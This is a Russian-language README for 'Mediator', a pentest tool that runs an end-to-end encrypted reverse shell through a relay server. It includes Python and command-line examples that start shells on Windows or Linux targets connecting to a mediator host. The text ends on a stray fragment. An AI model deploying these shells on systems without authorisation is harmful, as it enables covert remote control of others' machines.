
Расширяемая, сквозная зашифрованная обратная оболочка, работающая через сети без перенаправления портов.
Mediator — это сквозной зашифрованный reverse shell, в котором оператор и оболочка подключаются к серверу-«посреднику», который соединяет эти подключения. Это устраняет необходимость для оператора/обработчика настраивать проброс портов для прослушивания входящего соединения. Mediator также позволяет создавать плагины для расширения функциональности reverse shell.
Скрипты Mediator можно запускать как отдельные исполняемые файлы или импортировать для интеграции в другие инструменты пентеста и реагирования на инциденты.
Вдохновлённый приложениями для чата со сквозным шифрованием, Mediator предлагает уникальный подход к модели клиент/сервер reverse shell. Mediator использует:
Reverse shell и обработчики подключаются к серверу Mediator с ключом соединения. Сервер слушает порт 80 для подключений обработчиков и порт 443 для подключений reverse shell. Когда клиенты подключаются к посреднику, сервер ставит их в очередь в зависимости от их типа и ключа соединения. Когда reverse shell и оператор подключаются к серверу с одинаковым ключом, сервер соединяет два подключения. После этого между двумя клиентами выполняется обмен ключами, и вся связь между reverse shell и оператором шифруется сквозным шифрованием. Это гарантирует, что сервер не сможет просматривать потоки, которые он перенаправляет.
Плагины позволяют добавлять дополнительные команды, которые могут выполнять код на хосте оператора, на целевом хосте или на обоих! Пожалуйста, обратитесь к README в каталоге плагинов для получения дополнительной информации о плагинах.
Клиентские скрипты можно запускать в Windows или Linux, но сервер (mediator.py) необходимо развернуть на хосте Linux. Сервер написан на чистом Python, поэтому устанавливать зависимости не требуется. Вы можете либо запустить серверный скрипт командой
$ python3 mediator.py
либо собрать Docker-образ с помощью предоставленного Dockerfile и запустить его в контейнере (не забудьте опубликовать порты 80 и 443).
Для работы клиентов необходимо установить зависимости из requirements.txt. Это можно сделать следующей командой:
$ pip3 install -r requirements.txt
Смотрите раздел Советы и напоминания внизу, чтобы узнать, как распространять клиентов без забот о зависимостях.
Обработчик и reverse shell можно использовать в других скриптах Python или напрямую через командную строку. В обоих случаях клиенты могут принимать аргументы для адреса сервера и ключа соединения. Использование этих аргументов описано ниже.
Адрес сервера Mediator
При использовании в скрипте Python адрес хоста посредника требуется при создании экземпляра:
Класс Handler
from handler import Handler
operator = Handler(mediatorHost="example.com")
operator.run()
Класс WindowsRShell
from windowsTarget import WindowsRShell
shell = WindowsRShell(mediatorHost="example.com")
shell.run()
Если клиентский скрипт выполняется непосредственно из оболочки, вы можете либо жёстко задать адрес внизу скрипта, либо указать адрес сервера в качестве аргумента с флагом -s или --server:
handler.py
$ python3 handler.py -s example.com
windowsTarget.py
> python windowsTarget.py -s example.com
Ключ соединения
Когда два обработчика или два reverse shell подключаются к серверу посредника с одинаковым ключом соединения, только первое подключение помещается в очередь в ожидании пары. Пока подключение в очереди не истечёт по таймауту (30 секунд) или не найдёт пару, все остальные клиенты того же типа, пытающиеся подключиться с тем же ключом соединения, будут отклонены.
Важно убедиться, что каждый обработчик использует уникальный ключ соединения, чтобы избежать состояния гонки, при котором не та оболочка будет передана оператору.
Сервер принимает только ключи с префиксом "#!ConnectionKey_". По умолчанию ключ соединения — "#!ConnectionKey_CHANGE_ME!!!".
Чтобы изменить ключ соединения при использовании в скрипте Python, ключ соединения можно необязательно указать при создании экземпляра:
Класс Handler
from handler import Handler
operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()
Класс LinuxRShell
from linuxTarget import LinuxRShell
shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()
Если клиентский скрипт выполняется непосредственно из оболочки, вы можете либо жёстко задать ключ соединения внизу скрипта, либо указать ключ соединения в качестве аргумента с флагом -c или --connection-key:
handler.py
$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'
windowsTarget.py
> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'
--onefile.